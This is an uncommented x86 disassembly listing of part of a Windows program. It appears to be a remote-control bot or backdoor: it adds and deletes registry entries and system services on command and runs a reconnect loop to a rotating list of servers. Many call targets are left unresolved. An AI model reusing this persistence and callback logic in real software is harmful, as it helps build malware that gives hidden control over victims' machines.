mov dword ptr [esp+54h+var_30], ecx
push edx
mov eax, 1
or ebx, 0FFFFFFFFh
lea ecx, [esp+58h+var_40]
push 2
push esi
mov [esp+60h+var_3C], eax
mov [esp+60h+var_40], eax
mov [esp+60h+var_38], ebx
mov [esp+60h+var_2C], eax
mov [esp+60h+var_28], ecx
call near ptr 291023Dh
nop
test eax, eax
push esi
mov esi, dword_50F74C
jnz short loc_40EEEC
call esi ; dword_50F74C
push edi
call esi ; dword_50F74C
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
xor al, al
jmp short loc_40EF00
; ---------------------------------------------------------------------------
loc_40EEEC: ; CODE XREF: sub_40ED70+164j
call esi ; dword_50F74C
push edi
call esi ; dword_50F74C
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
mov al, 1
loc_40EF00: ; CODE XREF: sub_40ED70+3Aj
; sub_40ED70+104j ...
mov ecx, [esp+54h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 0Ch
sub_40ED70 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40EF90 proc near ; CODE XREF: sub_401942j
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 29008E6h
mov edi, eax
test edi, edi
jnz short loc_40EFB7
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40EFB7: ; CODE XREF: sub_40EF90+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push edi
call near ptr 28A0386h
nop
mov esi, eax
test esi, esi
jnz short loc_40EFE4
push edi
call near ptr 2910000h
nop
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40EFE4: ; CODE XREF: sub_40EF90+41j
lea eax, [esp+24h+var_1C]
push eax
push 1
push esi
call near ptr 29004E5h
nop
push esi
call near ptr 29006B2h
nop
push esi
mov esi, dword_50F74C
call esi ; dword_50F74C
push edi
call esi ; dword_50F74C
pop edi
mov al, 1
pop esi
add esp, 1Ch
retn 4
sub_40EF90 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F030 proc near ; CODE XREF: sub_401FB4j
arg_0 = dword ptr 4
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 29008E6h
mov esi, eax
test esi, esi
jnz short loc_40F04F
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F04F: ; CODE XREF: sub_40F030+17j
mov ecx, [esp+4+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push esi
nop
call near ptr 28A0386h
test eax, eax
jnz short loc_40F076
push esi
nop
call near ptr 2910000h
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F076: ; CODE XREF: sub_40F030+37j
push edi
mov edi, dword_50F74C
push eax
call edi ; dword_50F74C
push esi
call edi ; dword_50F74C
pop edi
mov al, 1
pop esi
retn 4
sub_40F030 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F0B0 proc near ; CODE XREF: sub_401FDCj
arg_0 = dword ptr 4
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 29008E6h
mov edi, eax
test edi, edi
jnz short loc_40F0D1
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F0D1: ; CODE XREF: sub_40F0B0+18j
mov ecx, [esp+8+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push edi
nop
call near ptr 28A0386h
mov esi, eax
test esi, esi
jnz short loc_40F0FB
push edi
nop
call near ptr 2910000h
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F0FB: ; CODE XREF: sub_40F0B0+3Bj
push 0
push 0
push esi
nop
call near ptr 28F0C20h
push esi
mov esi, dword_50F74C
call esi ; dword_50F74C
push edi
call esi ; dword_50F74C
pop edi
mov al, 1
pop esi
retn 4
sub_40F0B0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40F140: ; CODE XREF: ___:loc_4014A1j
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_439048
push eax
mov large fs:0, esp
sub esp, 60h
push ebx
push esi
mov esi, [esp+78h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+19h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F23A
push 1
push offset asc_443600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
push 1
push offset asc_443600 ; " "
lea ecx, [esp+14h]
push 2
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+84h], ebx
call sub_4011EA
lea edx, [esp+0Ch]
lea eax, [esp+24h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+7Ch], 1
call sub_401726
test al, al
jz short loc_40F206
lea ecx, [esp+0Ch]
call sub_4017E4
push eax
lea ecx, [esp+28h]
call sub_4017E4
push eax
push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
loc_40F206: ; CODE XREF: ___:0040F1C7j
lea ecx, [esp+0Ch]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F23A: ; CODE XREF: ___:0040F176j
lea ecx, [edi+47h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F2D9
push 1
push offset asc_443600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 2
push ecx
mov ecx, edi
call sub_401447
test al, al
jz short loc_40F2B2
lea ecx, [esp+24h]
call sub_4017E4
push eax
push offset aRegDelS_ ; "reg(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_40F2B2: ; CODE XREF: ___:0040F27Dj
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F2D9: ; CODE XREF: ___:0040F24Cj
lea ecx, [edi+75h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F3EF
push 1
push offset asc_443600 ; " "
lea ecx, [esp+44h]
push 1
push ecx
mov ecx, esi
call sub_4011EA
push 1
push offset asc_443600 ; " "
lea edx, [esp+14h]
push 2
push edx
mov ecx, esi
mov dword ptr [esp+84h], 3
call sub_4011EA
push 1
push offset asc_443600 ; " "
lea eax, [esp+2Ch]
mov bl, 4
push 3
push eax
mov ecx, esi
mov [esp+84h], bl
call sub_4011EA
lea ecx, [esp+24h]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+40h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+80h], 5
call sub_402153
test al, al
jz short loc_40F3AD
lea ecx, [esp+24h]
call sub_4017E4
push eax
lea ecx, [esp+10h]
call sub_4017E4
push eax
lea ecx, [esp+44h]
call sub_4017E4
push eax
push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 20h
loc_40F3AD: ; CODE XREF: ___:0040F364j
lea ecx, [esp+24h]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+0Ch]
mov byte ptr [esp+74h], 3
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F3EF: ; CODE XREF: ___:0040F2EBj
lea ecx, [edi+0A3h]
call sub_4014D3
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F491
push 1
push offset asc_443600 ; " "
lea eax, [esp+5Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 6
push ecx
mov ecx, edi
call sub_401942
test al, al
jz short loc_40F46A
lea ecx, [esp+54h]
call sub_4017E4
push eax
push offset aServDelS_ ; "serv(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D60B5
call sub_401848
add esp, 18h
loc_40F46A: ; CODE XREF: ___:0040F435j
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F491: ; CODE XREF: ___:0040F404j
mov ecx, [esp+6Ch]
pop edi
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F590 proc near ; CODE XREF: sub_401D02j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
nop
call near ptr 77C2C407h
mov edx, eax
mov eax, [esp+0Ch+arg_0]
mov edi, esi
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
add esp, 4
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn
sub_40F590 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F600 proc near ; CODE XREF: sub_401695j
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40F600
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+3Ch+var_28], esi
call sub_401E6A
lea edi, [esi+11h]
mov [esp+3Ch+var_4], 0
mov ecx, edi
call sub_4011B3
lea ebp, [esi+28h]
mov ecx, ebp
call sub_401424
lea ecx, [esi+3Dh]
mov byte ptr [esp+3Ch+var_4], 1
call sub_401424
lea ecx, [esi+56h]
mov byte ptr [esp+3Ch+var_4], 2
call sub_401749
lea ecx, [esi+84h]
mov byte ptr [esp+3Ch+var_4], 3
call sub_401749
lea ecx, [esi+0B2h]
mov byte ptr [esp+3Ch+var_4], 4
call sub_401749
lea ecx, [esi+0E0h]
mov byte ptr [esp+3Ch+var_4], 5
call sub_401749
lea ecx, [esi+10Eh]
mov byte ptr [esp+3Ch+var_4], 6
call sub_401749
lea ecx, [esi+13Ch]
mov byte ptr [esp+3Ch+var_4], 7
call sub_401749
lea ecx, [esi+16Ah]
mov byte ptr [esp+3Ch+var_4], 8
call sub_401749
lea ecx, [esi+198h]
mov byte ptr [esp+3Ch+var_4], 9
call sub_401749
lea ecx, [esi+1C6h]
mov byte ptr [esp+3Ch+var_4], 0Ah
call sub_401749
lea ecx, [esi+1F4h]
mov byte ptr [esp+3Ch+var_4], 0Bh
call sub_401749
lea ecx, [esi+222h]
mov byte ptr [esp+3Ch+var_4], 0Ch
call sub_401749
lea ecx, [esi+250h]
mov byte ptr [esp+3Ch+var_4], 0Dh
call sub_401749
lea ecx, [esi+27Eh]
mov byte ptr [esp+3Ch+var_4], 0Eh
call sub_401749
lea ecx, [esi+2ACh]
mov byte ptr [esp+3Ch+var_4], 0Fh
call sub_401749
lea eax, [esp+3Ch+var_29]
lea ecx, [esi+2DAh]
push eax
mov byte ptr [esp+40h+var_4], 10h
call sub_401721
mov dword ptr [edi], offset off_43E034
mov bl, 11h
xor edi, edi
push offset byte_446F70
mov ecx, ebp
mov byte ptr [esp+40h+var_4], bl
mov dword ptr [esi], offset off_43E028
mov byte ptr [esi+17h], 1
mov byte ptr [esi+15h], 0
mov byte ptr [esi+16h], 0
mov dword ptr [esi+18h], 0FFFFFFFFh
mov [esi+1Ch], edi
mov [esi+20h], edi
call sub_4015D7
call near ptr 27F08B4h
nop
push edi
push 21h
push 28h
push 23h
lea ecx, [esp+4Ch+var_24]
push 2Ah
push ecx
mov [esi+24h], eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 12h
call sub_4017E4
push eax
push offset dword_4470FC
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Dh
push 23h
push 2Eh
push 29h
lea edx, [esp+54h+var_24]
push 28h
push edx
call sub_4019B5
add esp, 20h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 13h
call sub_4017E4
push eax
push offset dword_447100
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 28h
push 23h
push 29h
lea eax, [esp+4Ch+var_24]
push 24h
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 14h
call sub_4017E4
push eax
push offset dword_447104
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 21h
push 2Dh
push 27h
push 30h
push 23h
push 2Ch
lea ecx, [esp+58h+var_24]
push 2Ah
push ecx
call sub_4019B5
add esp, 24h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 15h
call sub_4017E4
push eax
push offset dword_447108
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Dh
push 29h
push 22h
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+5Ch+var_24]
push 2Fh
push edx
call sub_4019B5
add esp, 28h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 16h
call sub_4017E4
push eax
push offset dword_44710C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 47h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 17h
call sub_4017E4
push eax
push offset dword_447110
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 44h
lea ecx, [esp+48h+var_24]
push 47h
push ecx
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 18h
call sub_4017E4
push eax
push offset dword_447114
call sub_401D02
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 21h
push 28h
push 29h
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 19h
call sub_4017E4
push eax
push offset dword_447118
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Dh
push 2Dh
push 1Bh
lea eax, [esp+4Ch+var_24]
push 2Ah
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ah
call sub_4017E4
push eax
push offset dword_44711C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 28h
push ecx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Bh
call sub_4017E4
push eax
push offset dword_447120
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+4Ch+var_24]
push 2Fh
push edx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ch
call sub_4017E4
push eax
push offset dword_447124
call sub_401D02
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 47h
push 49h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Dh
call sub_4017E4
push eax
push offset dword_447128
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 25h
push ecx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Eh
call sub_4017E4
push eax
push offset dword_44712C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Ch
push 1Bh
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Fh
call sub_4017E4
push eax
push offset dword_447130
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Eh
push 29h
lea eax, [esp+4Ch+var_24]
push 27h
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 20h
call sub_4017E4
push eax
push offset dword_447134
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 45h
push 44h
lea ecx, [esp+48h+var_24]
push 44h
push ecx
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 21h
call sub_4017E4
push eax
push offset dword_447138
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 49h
push 44h
lea edx, [esp+48h+var_24]
push 44h
push edx
call sub_4019B5
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 22h
call sub_4017E4
push eax
push offset dword_44713C
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 23h
push 2Fh
lea eax, [esp+4Ch+var_24]
push 2Bh
push eax
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 23h
call sub_4017E4
push eax
push offset dword_447140
call sub_401D02
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
mov ecx, [esp+3Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 2Ch
retn
sub_40F600 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 180h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FD70 proc near ; CODE XREF: ___:004019C4j sub_401A3Cj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4013C0
sub_40FD70 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_40FD88
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_40FD88: ; CODE XREF: ___:0040FD7Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FDA0 proc near ; CODE XREF: sub_4013C0j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40FDA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E028
mov dword ptr [esi+11h], offset off_43E034
lea ecx, [esi+2DAh]
mov [esp+14h+var_4], 10h
call sub_401B54
sub_40FDA0 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+2ACh]
mov byte ptr [esp+10h], 0Fh
call sub_401023
lea ecx, [esi+27Eh]
mov byte ptr [esp+10h], 0Eh
call sub_401023
lea ecx, [esi+250h]
mov byte ptr [esp+10h], 0Dh
call sub_401023
lea ecx, [esi+222h]
mov byte ptr [esp+10h], 0Ch
call sub_401023
lea ecx, [esi+1F4h]
mov byte ptr [esp+10h], 0Bh
call sub_401023
lea ecx, [esi+1C6h]
mov byte ptr [esp+10h], 0Ah
call sub_401023
lea ecx, [esi+198h]
mov byte ptr [esp+10h], 9
call sub_401023
lea ecx, [esi+16Ah]
mov byte ptr [esp+10h], 8
call sub_401023
lea ecx, [esi+13Ch]
mov byte ptr [esp+10h], 7
call sub_401023
lea ecx, [esi+10Eh]
mov byte ptr [esp+10h], 6
call sub_401023
lea ecx, [esi+0E0h]
mov byte ptr [esp+10h], 5
call sub_401023
lea ecx, [esi+0B2h]
mov byte ptr [esp+10h], 4
call sub_401023
lea ecx, [esi+84h]
mov byte ptr [esp+10h], 3
call sub_401023
lea ecx, [esi+56h]
mov byte ptr [esp+10h], 2
call sub_401023
lea ecx, [esi+3Dh]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+28h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40FF60 proc near ; CODE XREF: sub_40212Bj
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_1C = byte ptr 20h
arg_1E = word ptr 22h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_34 = byte ptr 38h
arg_4C = byte ptr 50h
arg_64 = byte ptr 68h
arg_7C = byte ptr 80h
arg_94 = byte ptr 98h
arg_AC = byte ptr 0B0h
arg_C4 = byte ptr 0C8h
arg_DC = byte ptr 0E0h
arg_F4 = byte ptr 0F8h
arg_10C = byte ptr 110h
arg_124 = byte ptr 128h
arg_13C = byte ptr 140h
arg_154 = byte ptr 158h
arg_16C = byte ptr 170h
arg_184 = byte ptr 188h
arg_19C = byte ptr 1A0h
arg_1B4 = byte ptr 1B8h
arg_1CC = byte ptr 1D0h
arg_1E4 = byte ptr 1E8h
arg_1FC = byte ptr 200h
arg_214 = byte ptr 218h
arg_22C = byte ptr 230h
arg_244 = byte ptr 248h
arg_25C = byte ptr 260h
arg_274 = byte ptr 278h
arg_28C = byte ptr 290h
arg_2A4 = byte ptr 2A8h
arg_2BC = byte ptr 2C0h
arg_2D4 = byte ptr 2D8h
arg_2EC = byte ptr 2F0h
arg_304 = byte ptr 308h
arg_31C = byte ptr 320h
arg_334 = byte ptr 338h
arg_34C = byte ptr 350h
arg_364 = byte ptr 368h
arg_37C = byte ptr 380h
arg_394 = byte ptr 398h
arg_3AC = byte ptr 3B0h
arg_3C4 = byte ptr 3C8h
arg_3DC = byte ptr 3E0h
arg_3F4 = byte ptr 3F8h
arg_408 = byte ptr 40Ch
arg_40C = byte ptr 410h
arg_464 = byte ptr 468h
arg_2464 = dword ptr 2468h
arg_246C = dword ptr 2470h
arg_2470 = dword ptr 2474h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_4395D3
push eax
mov eax, 2478h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+1Ch+var_4]
call sub_401424
mov al, [ebp+17h]
xor ebx, ebx
cmp al, bl
mov [esp+1Ch+arg_2470], ebx
jz loc_411330
loc_40FFA2: ; CODE XREF: sub_40FF60+13CAj
mov al, byte_4E6E84
mov edi, dword_50F8A4
cmp al, bl
jz loc_411330
mov eax, [ebp+20h]
cmp eax, ebx
jnz short loc_40FFCA
cmp dword ptr [ebp+1Ch], 5
jg short loc_40FFD4
cmp eax, ebx
jz loc_41010E
loc_40FFCA: ; CODE XREF: sub_40FF60+5Aj
cmp dword ptr [ebp+1Ch], 2
jle loc_41010E
loc_40FFD4: ; CODE XREF: sub_40FF60+60j
mov eax, [ebp+18h]
mov [ebp+16h], bl
cmp eax, 0FFFFFFFFh
mov [ebp+15h], bl
jz short loc_40FFE9
push eax
call near ptr 71AB9639h
nop
loc_40FFE9: ; CODE XREF: sub_40FF60+80j
mov ecx, offset word_448C9E
mov dword ptr [ebp+18h], 0FFFFFFFFh
call sub_401537
mov esi, [ebp+20h]
inc esi
mov [ebp+20h], esi
lea esi, [ebp+2DAh]
mov ecx, esi
call sub_401974
mov ecx, [ebp+20h]
dec eax
cmp ecx, eax
jbe short loc_410019
mov [ebp+20h], ebx
loc_410019: ; CODE XREF: sub_40FF60+B4j
mov eax, [ebp+20h]
mov ecx, esi
push eax
mov [ebp+1Ch], ebx
call sub_40146A
mov ecx, [eax]
add ecx, 16Dh
push ecx
push offset byte_44742D
mov ecx, offset word_448D16
call sub_401F32
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_40146A
mov eax, [eax]
mov ecx, offset word_448D16
add eax, 1B6h
push eax
push offset dword_4473E4
call sub_401F32
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_40146A
mov edx, [eax]
mov ecx, offset word_448D16
push edx
push offset dword_4472C0
call sub_401F32
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_40146A
mov ecx, [eax]
add ecx, 124h
push ecx
push offset word_447352
mov ecx, offset word_448D16
call sub_401F32
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_40146A
mov eax, [eax]
mov ecx, offset word_448D16
add eax, 0DBh
push eax
push offset byte_447309
call sub_401F32
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_40146A
mov edx, [eax]
mov ecx, offset word_448D16
add edx, 92h
push edx
push offset byte_44739B
call sub_401F32
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_40146A
mov ecx, [eax]
add ecx, 1FFh
push ecx
push offset byte_4474BF
mov ecx, offset word_448D16
call sub_401F32
call edi ; dword_50F8A4
mov [ebp+24h], eax
loc_41010E: ; CODE XREF: sub_40FF60+64j
; sub_40FF60+6Ej
mov edx, [ebp+18h]
cmp edx, 0FFFFFFFFh
jnz short loc_410138
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
push 7D0h
mov [ebp+18h], eax
mov [ebp+15h], bl
nop
call near ptr 2840000h
jmp loc_411327
; ---------------------------------------------------------------------------
loc_410138: ; CODE XREF: sub_40FF60+1B4j
cmp [ebp+15h], bl
jnz loc_4102C8
mov ax, word_44736C
xor edx, edx
mov [esp+20h+arg_20], edx
push eax
mov [esp+24h+arg_24], edx
mov word ptr [esp+24h+arg_20], 2
mov [esp+24h+arg_28], edx
mov [esp+24h+arg_2C], edx
call near ptr 71AB2B66h
nop
mov ecx, offset byte_447309
mov [esp+24h+arg_1E], ax
call sub_4017E4
push eax
call sub_40187F
add esp, 4
mov [esp+24h+arg_20], eax
call edi ; dword_50F8A4
mov edx, [ebp+18h]
lea ecx, [esp+24h+arg_1C]
push 10h
push ecx
push edx
mov [ebp+24h], eax
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_4101B8
push 2710h
nop
call near ptr 2840000h
mov eax, [ebp+1Ch]
mov [ebp+15h], bl
inc eax
mov [ebp+1Ch], eax
jmp loc_411327
; ---------------------------------------------------------------------------
loc_4101B8: ; CODE XREF: sub_40FF60+23Cj
mov byte ptr [ebp+15h], 1
mov [ebp+16h], bl
call edi ; dword_50F8A4
mov [ebp+24h], eax
xor eax, eax
mov [esp+30h+arg_0], eax
lea ecx, [esp+30h+arg_20]
mov [esp+30h+arg_4], eax
lea edx, [esp+30h+arg_0]
mov [esp+30h+arg_8], eax
push ecx
mov [esp+34h+arg_C], eax
mov eax, [ebp+18h]
push edx
push eax
mov [esp+3Ch+arg_20], 10h
